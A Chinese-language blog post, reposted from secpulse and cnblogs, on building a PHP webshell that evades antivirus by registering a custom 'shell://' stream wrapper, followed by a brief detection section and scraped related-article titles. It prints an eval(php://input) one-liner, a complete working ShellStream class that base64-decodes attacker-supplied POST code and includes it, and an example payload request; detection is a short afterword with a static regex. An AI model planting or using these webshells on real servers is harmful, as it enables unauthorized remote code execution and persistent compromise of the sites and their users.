说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处。

前言

本文是看PHP使用流包装器实现WebShell有感,权当做个笔记。

很早的以前,我们就见过 php://input,这其实就是流包装器的一种。php://input 是个可以访问请求原始数据的只读流。下面这行代码就是通过php://input获取post的数据,执行eval的一句话木马。

<?php    @eval(file_get_contents('php://input'))?>

include 函数,通常用于包含本地文件和远程文件。如果可以远程文件包含,则很容易构造免杀webshell。通过 include "htttp://remote.com/evil.php",把恶意代码放到远程机器上即可。但是,远程文件包含依赖php.ini的两个配置

;;;;;;;;;;;;;;;;;;; Fopen wrappers ;;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.; http://php.net/allow-url-fopenallow_url_fopen =Off

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.; http://php.net/allow-url-includeallow_url_include = Off

通常情况下,这两个配置会被关闭,所以远程包含就用不了。那如果 " include 流 " 这种方式能否实现呢?

答案是肯定的,这个流我们可以通过PHP函数 stream_wrapper_register 注册包装器来实现。那为什么不使用php://input流来实现呢,要自己构造一个流函数。原因有二:

1、php://input流需要file_get_contents来获取,容易被查杀

2、http://php.net/manual/zh/wrappers.php.php 这里有说明,php://input 受到 allow_url_fopen 的限制

编写

注册包装器的函数参考 http://php.net/manual/en/class.streamwrapper.php,

编写实例参考http://www.cnblogs.com/jingjingdidunhe/p/6346884.html。

<?php

class ShellStream{    protected $position;    protected $code;

    public function stream_open($path, $mode, $options, &$opened_path)    {        $url = parse_url($path);        $name = $url["host"];        $this->code = base64_decode($name);        $this->position = 0;        return true;    }

    public function stream_read($count)    {        $ret = substr($this->code, $this->position, $count);        $this->position += strlen($ret);        return $ret;    }

    public function stream_tell()    {        return $this->position;    }

    public function stream_eof()    {        return $this->position >= strlen($this->code);    }

    public function stream_seek($offset, $whence)    {        switch ($whence) {            case SEEK_SET:                if ($offset < strlen($this->code) && $offset >= 0) {                    $this->position = $offset;                    return true;                } else {                    return false;                }                break;

            case SEEK_CUR:                if ($offset >= 0) {                    $this->position += $offset;                    return true;                } else {                    return false;                }                break;            case SEEK_END:                if (strlen($this->code) + $offset >= 0) {                    $this->position = strlen($this->code) + $offset;                    return true;                } else {                    return false;                }                break;

            default:                return false;        }    }

    // include    public function stream_stat()    {        return stat(FILE);    }

    // file exists    public function url_stat(string $path,int $stat)    {        return stat(FILE);    }

    public static function shell(){        stream_wrapper_register('shell', ShellStream::class);        if (isset($_POST['code'])) {            $code = $_POST['code'];            include 'shell://'.$code;        } else {            include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';        }    }}

ShellStream::shell();?>

使用方法,传入code参数。例如:

code=PD9waHAgcGhwaW5mbygpOw%3D%3D

其中 PD9waHAgcGhwaW5mbygpOw%3D%3D 就是<?php phpinfo(); 的base64编码。要想执行其他命令传入完整php代码的base64编码即可

检测

1、动态检测:一般大型互联网会有自主研发的入侵检测系统,hook底层的命令,所以可以在webshell触发命令后检测到。

2、静态检测:大多数安全产品和应急响应使用的是静态检测,这边一个思路是匹配对应的正则

(include|require)(_once){0,1}[\s*]+[\"|\']+[0-9A-Za-z_]*\://

已加入到笔者的webshell静态检测工具 findWebshell

参考

http://www.freebuf.com/articles/web/176571.html

http://www.cnblogs.com/jingjingdidunhe/p/6346884.html

转载于:https://www.cnblogs.com/he1m4n6a/p/9279894.html

流包装器实现WebShell免杀相关推荐

  1. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  2. Webshell免杀研究

    前一个阶段闲着没事干,所以将之前做的关于webshell免杀的一篇研究性文章发表了出来,供大家一起学习探讨,文章目录如下,目前已发表与先知社区,欢迎探讨交流~ 文章链接:https://xz.aliy ...

  3. webshell免杀的一些学习和思考——以PHP为例

    目录 前言 一.关于webshell 1.数据传递 (1)HTTP请求中获取数据 (2)从远程URL中获取数据 (3)从磁盘文件中获取数据 (4)从数据库中读取 (5)从图片头部中获取 2.代码执行 ...

  4. Webshell免杀-PHP

    前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...

  5. 【网络安全】一些webshell免杀的技巧

    前言 由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束. ...

  6. 免杀实战之面向PHP的WebShell免杀

    0X00普通的一句话木马 <pre id="PTXkG"><?php eval($_POST['a']); ?> //函数的相似替换 <?php as ...

  7. Webshell免杀-JSP

    前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...

  8. JSP webshell免杀——webshell免杀

    好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬. 结果我免杀跟着学的视频就是这位大佬的. 更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在. 果然,实习就是好, ...

  9. JSP webshell免杀——JSP的基础

    唉,每次开启JSP都要好一会儿. 话说我也不知道为啥,我的每次开启条件一次比一次苛刻.一开始必应就可以打开,再后来只能由谷歌打开,现在可好了得开着代理用谷歌才能进去. 一个JSP页面可由5种元素组合而 ...

最新文章

  1. python怎么继承_Python: 如何继承str/string?
  2. 关于版本控制工具GitHub安装报错
  3. 内存屏障linux,Linux内存屏障
  4. 深度学习(十)keras学习笔记
  5. 直接用IP访问知乎,我发现了一个秘密···
  6. python --- 使用conda配置pytorch
  7. 在安卓上安装java_如何在Android上安装JavaCV并使用FrameGrabber
  8. MaxDos启动盘拆解
  9. php file_exists无效解决办法
  10. Java求一个数的质因数
  11. Java LocalDateTime
  12. SQL Server 2005安装图解
  13. Linux学习笔记(12)
  14. AspNetPager分页控件教程
  15. 常用软件过程模型-快速原型模型,快速原型模型有哪几种?各有何特点?
  16. css旋转45度_Matplotlib中的文字旋转问题
  17. bert tensorflow2 serving部署
  18. android的备忘录带闹钟提醒,‎App Store 上的“Reminders 3 - 款带有闹钟提醒功能的备忘录”...
  19. Python 小提琴图(violinplot)
  20. 《近匠》专访Ayla Networks云平台工程部主管Sudha Sundaresan——企业级物联网云平台的设计与部署

热门文章

  1. [Python]小甲鱼Python视频第048课(魔法方法:迭代器) )课后题及参考解答
  2. 留恋 nyoj 854
  3. unity3d 随机生成地形之随机山脉
  4. Vmware 中安装Unix
  5. PHP 如何准确取得服务器地址IP[非代理]
  6. Linq 异常“此提供程序只支持对返回实体或投影(包含所有标识列)的有序查询使用 Skip()...”...
  7. 升级到ubuntu9.10Alpha5的艰苦路程
  8. mysql实战17 | 如何正确地显示随机消息?
  9. Java if语句深度解析
  10. NIO通信,仿QQ基本聊天业务,交流篇